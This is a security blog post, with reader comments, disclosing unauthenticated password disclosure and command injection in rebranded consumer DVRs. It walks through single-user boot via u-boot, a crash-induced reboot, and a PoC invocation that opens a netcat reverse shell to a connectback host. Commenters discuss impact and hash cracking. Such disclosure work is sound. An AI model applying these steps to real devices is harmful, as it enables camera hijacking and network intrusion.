I recently had a chance to get my hands on a 4 channel DVR system system sold under a handful of company banners (4/8/16 channels) - Swann, Lorex, Night Owl, Zmodo, URMET, kguard security, etc. A few device model numbers are - DVR04B, DVR08B, DVR-16CIF, DVR16B
After firing up the device and putting it on the network I noticed that it was running a telnet server, unfortunately the device does not appear to come configured with an easy/weak login :(. Time to open it up and see whats going on :)
After hooking up my usb to serial breakout board to the device serial port and guessing at the following serial settings: 115200 8-N-1 , I was stuck looking at a login prompt without a working login or password.
Lucky for me the device startup can be reconfigured using the u-boot environment. The environment variable "bootargs" can be adjusted to boot the linux system into single user mode by appending "single" to the end of the existing settings:
setenv bootargs mem=68M console=ttyAMA0,115200 root=1f01 rootfstype=jffs2 mtdparts=physmap-flash.0:4M(boot),12M(rootfs),14M(app),2M(para) busclk=220000000 single
This change to the bootargs variable is only temporary at this point, if we were to power cycle the device the change would be lost. It is possible to write these changes to the device, but in this case we only want to boot into single user mode once. To boot the device you need to tell the boot loader where the kernel exists in memory, this value can be found in the default environment variable “bootdcmd”.
Once the device is booted up in single user mode, the root password can be reset and the device can be rebooted. Telnet now works, but what fun is that when these devices don't normally expose telnet to the internet :). Now for the real fun...looking at the device the default configuration is setup to auto-magically use the power of the dark lord satan (uPnP) to map a few ports on your router (if it supports uPnP). One of the ports that it will expose is for the web (activeX) application and the other is the actual comms channel the device uses (port 9000). The first item I looked at was the web application that is used to view the video streams remotely and configure the device. The first thing that I found with this lovely device is that the comms channel (9000) did not appear to do any authentication on requests made to it...Strike 1. I imagine the activeX application that is used to connect to the device could be patched to just skip the login screen, but that seems like a lot of work, especially when there are much easier ways in. The next thing I saw was a bit shocking...when you access the application user accounts page the device sends the application all the information about the accounts stored on the device. This includes the login and password. In clear text. Strike 2. I created a small PoC in python that will pull the password from a vulnerable device:
python getPass.py 192.168.10.69
[*]Host: 192.168.10.69
[+]Username: admin
[+]Password: 123456
Script can be found here.
After owning the device at the "application" level, I figured it was time to go deeper.
Port 9000 is run by a binary named 'raysharpdvr'. I pulled the binary off the device and started going through it looking for interesting stuff. First thing I noticed was the device was using the "system" call to carry out some actions, after chasing down these calls and not seeing much, the following popped up:
"sprintf" with user input into a "system", that'll do it. Couple problems to overcome with this. First in order to use this vector for command injection you must configure the device to use "ppp" - this will cause the device to go offline and we will not be able to interact with it further :(. We can get around this issue by injecting a call to the dhcp client appliction ("udhcpc") - this will cause the device to use dhcp to get its network information bypassing the previous "ppp" config. The other issue is once we have reconfigured the device to run our command, it needs to be restarted before it will execute (its part of the init scripts). The application does not actually provide a way to reboot the device using the web interface, there is a section that says 'reboot', but when it is triggered nothing happens and some debugging information displayed in the serial console saying the functionality is not implemented. Lucky for us there are plenty of overflow bugs in this device that will lead to a crash :). The device has a watchdog that polls the system to check if the "raysharpdvr" application is running and if it does not see it, it initiates a system reboot - very helpful. With those two issues out of the way the only thing left is HOW to talk to our remote root shell that is waiting for us....luckily the device ships with netcat built into busybox, -e flag and all :)
Usage: sploit.py <target> <connectback host> <connectback port>
$ python sploit.py 192.168.10.69 192.168.10.66 9999
[*]Sending Stage 1
[*]Sending Stage 2
[*]Rebooting the server with crash....
Ncat: Version 5.21 ( http://nmap.org/ncat )
Ncat: Listening on 0.0.0.0:9999
Strike 3, get this weak shit off my network. The script can be found here. The script relies on the web application running on port 80, this is not always the case so you may need to adjust the script to fix if your device listens on another port. It is also worth noting that it may take a few minutes for the device to reboot and connect back to you.
Unfortunately the web server that runs on this device does not behave correctly (no response headers) so I do not believe finding these online is as easy as searching shodan, however it is possible to fingerprint vulnerable devices by looking for hosts with port 9000 open.
tl;dr; A whole slew of security dvr devices are vulnerable to an unauthenticated login disclosure and unauthenticated command injection.
tl;dr; A whole slew of security dvr devices are vulnerable to an unauthenticated login disclosure and unauthenticated command injection.
Awesome post. Was this vuln reported? I am looking for a vuln ID to reference the login disclosure.
ReplyDeleteNo vuln ID has been assigned.
DeleteNeat write-up! We're looking to add these issues to OSVDB.org and wanted to clarify a few things.
ReplyDelete1." when you access the application user accounts page the device sends the application all the information about the accounts stored on the device. This includes the login and password. In clear text." You say "page" but the script doesn't appear to access a page in the sense of a web page. Can you clarify if there is a page/script that is used?
2. The issue above, along with command injection via Port 9000 / udhcpc, and the remote overflow dos to trigger reboot, seem like the 3 main issues. Does that sound right?
Thanks!
1) The "page" is actually just an activeX control that is loaded when the user visits whatever port the "web" viewer is configured for (default 80) - the activeX control then talks to the device via port 9000 behind the scenes.
Delete2) Yes - although I believe there are more issues to be found in these devices.
1) Happen to know the ActiveX control name/file?
ReplyDelete2) I do not doubt that one bit =)
Thanks!
HiDvrOcx.cab - contains all of the controls used by these devices, as I recall the page loads "DvrOcx.ocx". I no longer have the device so I cannot confirm.
DeleteSo, if you can hack the console of a Swann DVR, how the hell can I get the video streams out of it without using their stupid Safari/IE only web GUI?
ReplyDeleteI'm not positive, but my guess is they expose their video streams as some RTSP channel that you could simply play using VLC. RTSP has basic and digest authentication; my guess is this blog post pretty much outlines everything you would ever need to pull video from the device outside of their web UI.
DeleteI'm looking to get access to the video via RTSP, or something similar as well. I used Lineshark to sniff a few packets and can see where the initial HTTP request comes in, but then it appears things are handed off to the ActiveX control immediately and from there all the communication is happening in TCP. In one of the TCP packets after I have logged in via ActiveX, I can see my username/password in the packet contents. From there there are a bunch of packets going back and forth in TCP, but I cannot figure out what to do from here. I need to find a URL to pass to VLC, but I don't see anything of the sort after the ActiveX takes over. Ideas?
DeleteJust noticed the thead below by Damo on April 7th that starts to cover this. I'm hoping to get access to the video w/o the need for this stupid Activex control.
DeleteOh God, when IT boffins try to look smart in PhySec :)
ReplyDeleteWhat is there really to exploit in a DVR?
It does not secure anything (despite the implication, a DVR is not a security system in classical sense, since it's not preventive).
Cheap 4channel DVR like the one you describe -- -- it's typical usage (from my 10 years in the industry as an integrator expereience) is:
a) quad live view of 4 cameras around your house
b) looking at what your empleyees are doing.
In both cases, physical access to the room in which the DVR typically gets installed means DVR compromising is the least of your problems.
The other issue is tad more serious (you can inject code into the client computer looking at DVR). But web viewer's purpose is to gain access to your video stream from an insecure location (internet cafe, tho it might be users laptop). Any security integrator worth it's salt will advise specialized app (CCTV Client) to connect to the video data stream directly, if nothing than to avoid using IE.
In other words, while your observation is factually correct, it's of very little practical value.
"What is there really to exploit in a DVR? "
DeleteIf the DVR is connected to the outside internet, then random joes from the internet can trivially break into the device, take it over, and from there hop onto anything else on your local network.
That's what.
Fair enough. I missed that it's the video stream port that you can gain shell access through (as this is typically the only port we leave open on DVRs we install).
DeleteWill check this against some Linux based devices I deal with.
Okay, here's a hypothetical: I war-drive around the neighborhood, looking for networks that are open or using wep (crackable). Once I get on the network, I look for these surveillance systems.
DeleteI get access to the video streams.
After I do this, I know when you're home and when you aren't; I'm free to rob you at my leisure.
Bojan, unfortunately you're not a good security expert.
DeleteJust because you can't see it as a problem that doesn't prove it isn't.
Please remove your head, and understand the big picture, that you don't know everything about every situation....
For instance, I'm pretty sure everyone using one of these has a reason to monitor whatever it's looking at. Just turning off that monitoring before/after the crime makes that crime easier to commit without being caught.
Obviously, the video itself may expose other secrets - who wouldn't point a camera at the main door? Where's the coded alarm keypad? Yeah, by the door.
Now you can break in, without being recorded, and turn off the alarm. Sweet.
Oh, and if it's a shop, grab the printed credit card receipts, because the CCTV probably recorded a few customers entering their PIN, and those card receipts are nicely timestamped, just like the video.
Etc. etc. etc.
^^^^
ReplyDeleteMy point exactly "Bojan" couldnt have said it better.
I tried this technique on my Lorex device, and sure enough it works. More worryingly, if I look at the entire stream of data heading out from the DVR (the quick way is to just add a "print a" statement to your python script), I found the username and password (in plain text) for my email address. Why was it there? Because you can enter both in the device's settings, along with your outgoing mail server, and have it email you alerts. Stupid me for trusting a consumer-grade black box with my email password.
ReplyDeleteOne changed password later, I also disabled port forwarding from my modem/router to the Lorex box (handy for viewing the cameras with my smartphone). Now the device is reachable ONLY from inside my network. This means to see the camera streams from outside the network I first have to establish a VPN connection back. It's an extra, annoying step, but if you feel you need to access your camera from outside your network, I highly recommend it.
Been trying to crack the hashed password I grabbed off a Swann DVR for about a week now but only processing about 6k c/s so it's slow going. The password is stored unsalted in a MD5 hash. You can grab the passwd file using vulnerability in path navigation against the web server. Lame.
ReplyDeleteOoops, Maplin in the UK sell a lot of these Swann DVRs:
ReplyDeletehttp://www.maplin.co.uk/swann-house
Great writup for generic 'how to r00t your cheapo smart home device.
I get:
ReplyDeleteC:\PYTHON33>getPass.py 192.168.10.69
File "C:\Python33\getPass.py", line 1
import socket,binascii,sys,re t1 =
^
SyntaxError: invalid syntax
We have over 50 of these in our company and need to see if we have this exploit. They are behind a firewall but still..
I get the same message with the dvrown.py
This comment has been removed by the author.
DeleteThis comment has been removed by the author.
Deletebatona, did you ever figure out the problem with this? I'm getting the exact same errors you are.
DeleteThis comment has been removed by the author.
ReplyDeleteThanks for the great article... proved useful for gaining access to the cmd prompt of my Night Owl Zeus DVR16B.
ReplyDeleteMy goal was to gain cmd access so i can look for a static picture url for the various cameras for integration into HSTouch from HomeSeer... see the whole thread over at http://cocoontech.com/forums/topic/23488-video-surveillance-blue-iris-and-homeseerhstouch-or-ipcameras/page-2#entry189744
Actually I have only one question — about the strange hex string with a lot of nulls that you assigned to the t1 variable. Would you be so kind to tell where do you get it from? You wrote that you merely opened 'the application user account page', but I didn't manage to find even any similar string in traffic to the 9000 port, when I tried various options of the DVR menu within the ActiveX element. The only message I spotted began with 'REMOTE HI_SRDK_SYS_USERMNG_GetUserList', but I didn't manage to receive a desired reply when I sent it directly to the port without any prelude. But your exploit worked on that device.
ReplyDeleteOh, yeah, this vulnerability. Back in Dec 2011, I reported it to the vendor with a strong request to forward it to the OEM (which I seem to recall is Zhuhai RaySharp Technology Co., Ltd). My bug report included nicely annotated tcpdumps and everything. Here's the response I received:
ReplyDeleteSecurity is the one of the best thing which always give you a sense of Ultra security and protection against the internal as well as external factor
ReplyDeletehome security service
home security solution
See my post: http://www.damow.net/2012/12/14/digging-into-dvrs/
ReplyDeleteI have a proof of concept that can recover passwords for another variety of these things over the network.
thank you hp android
ReplyDeleteHello !
ReplyDeleteCan you give me an email address to talk to you in private please ? (someLuser)
I've a problem with the content of your blog.
Thanks you !
It seems some of the ZMODO machines have fixed some of these bugs (pre-authentication retrieval of passwords to name one). however, i am trying to boot into single user mode similar to how you did it, and noticed that it just will load the kernel and not show anything after that. do you think it could be some kind of mod they did so people cant boot into it? i was reading some translated chinese pages on google and they mentioned that it was being fixed.
ReplyDeletethanks for share.
ReplyDeleteso has anyone been able to get an rtsp stream outa these boxs ?
ReplyDelete